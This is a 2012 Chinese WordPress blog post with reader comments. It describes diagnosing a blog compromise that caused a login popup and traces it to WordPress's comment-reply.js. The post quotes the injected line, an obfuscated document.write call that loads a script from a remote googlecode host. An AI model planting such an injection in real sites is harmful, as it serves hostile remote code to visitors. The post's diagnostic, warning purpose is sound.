今天有个朋友找我,说他的博客打开文章页就弹出如下图所示登陆框:点击取消就能打开文章页。
这很蛋疼,好好的博客被插,朋友也咨询了新网客服,得到答复就是“被插”,而且不是他一个人的博客被插,很多人都有类似情况。
既然朋友找我,那么就要帮忙一下了。我用 Firebug 查看,发现文章页被引用一个 js 文件,这个 js 文件如下图:
我查看了主题代码,没有发现引用此 js 文件的代码。然后我尝试把所有插件停止,问题依旧。
继续,因为 js 文件是被引用在 header 里,所以可以肯定是自动插入的,自动在 WordPress 的 header.php 引用 js 文件,那么肯定就是 wp_head() 函数。
于是我删了 wp_head(),那个弹窗就没了。说明我的判断没错,但是问题是哪里引用的呢? functions.php 里面没有,插件全部停止了,那么下一步的判断就是 js 文件。我重新吧 wp_head() 函数放上,然后把主题里面引用的 js 都去掉了,问题依旧。再用 Firebug 查看,发现 comment-reply.js 被引用,除了它就是刚才上面第二张图片显示的 js,那么现在可以肯定问题出在 comment-reply.js,但 header.php 里面的 comment-reply.js 调用函数我屏蔽了啊?我再仔细看了一下 functions.php,原来我这个朋友的主题的 functions.php 里面也有一个 comment-reply.js 调用函数!Orz!
我用 ftp 然后用 notepad++ 打开 comment-reply.js 一看,嚯嚯,恶意代码原形毕露:
document.write(unescape("%3Cscript src='http://bijioc.googlecode.com/svn/trunk/js/navigatenormal.js?v="+(new Date().toDateString().replace(/\s/g, ''))+".js' type='text/javascript'%3E%3C/script%3E"));
厉害,竟然想到隐藏在这里!
好吧,说了这么多废话,就是说文章标题而已,主要是提醒朋友注意了,发现类似情况不用抓头了,直接看 /wp-includes/js/comment-reply.js 吧。
- 本文标题:插入 comment-reply.js 的恶意 js 代码
- 本文链接:https://zww.me/archives/25587
- 发布时间:2012年03月05日 11:37
- 版权声明:除非注明,文章均为 zwwooooo 原创,转载请以链接形式标明本文地址!
最近很多wordpress博客被黑了,原因是主题或者插件中使用了有漏洞的库,所以找人做主题或者插件一定要找靠谱的人
@Bolo
特别是插件,审核太简单了。
WP主题制作门槛太低, 以至如今主题良莠不齐, 甚至很多只会平面设计的都开始制作收费主题. 他们大多是在网上寻一些现成的"功能代码"引入主题然后便"成型", 这实在是很危险的, 并且也无法整顿, 因为WP是开源的.
@phoetry
是啊,况且很多人随便copy一下别人代码就说是自己原创,对代码一窍不通。另外,wp官方的插件审核制度太松,相比主题来说简直可以说插件根本没有审核,提交就通过,这很危险。
楼上两位说的对啊
这是因为本身用了不干净的主题,还是之前好好的,突然被篡改了?有点怕怕
@Jianbo
我这朋友应该是服务器被入侵,而不是主题问题
恩,好好学习,坚决杜止非道德行为!
@刘艾妮博客
素质很重要.
安全问题得多多注意,一般越是该注意的时候越太容易被忽视了。
@Leyeang
有商业性质的就会有恶意竞争
所以说 之前主题都找大叔修改 没错的
@老杨
哈哈,主题是一个问题,还有插件也要注意,另外的就是入侵者了
多事之秋, wp的安全性能是问题, 主题胡乱修改问题也灰常严重, 只能自己多注意了
@牧风
嗯,别随便下载国内那些破解主题
comment-reply.js这个不是wp自带的吗?这个代码的目的是干嘛, 找别扭么……
@不能吧
隐藏
@zwwooooo
怎么收不到你的评论回复邮件通知了?
@不能吧
忘记安装组件了
再次说明一点插件要在后台下。
@yesureadmin
对,而且要注意插件作者
学习了
其实,结合 HttpFox 扩展后更容易找到问题所在、
@Kars
没用过……主要自己很少折腾这类
好恐怖啊
我的暂时没发生这种情况,但每天都有一堆人在想登录后台,什么ip,什么pwd都有。。。
@流年
无聊的人很多,没事就扫描别人端口
Warning: Undefined array key 1 in /www/wwwroot/zww/zww.me/wordpress/wp-content/plugins/wp-useragent/wp-useragent-detect-webbrowser-version.php on line 32
马克一下。。。我还没有遇到这种情况
@Jutoy
最好别遇到
好恶毒的人啊,这样的插件作者应该拿出去BEGO
@调皮鬼
好像不是插件造成的
发现问题就是这样,一个个的试,然后才把罪魁祸首找得出来。
@咚门
排除法
N久没折腾wp了 没想到刚要重新搞起 就看见安全问题
@Youwei
使用者很大关系
尽量不要调用外部文件
@airoschou
这里应该是我朋友的主机被入侵
@zwwooooo
这样啊,今天我同事也发生同样情况了,正好学到了哈~
@airoschou
看来是同样手段的人
也去检查 一下。安全第一呀
@Demon
嗯嗯,安全很重要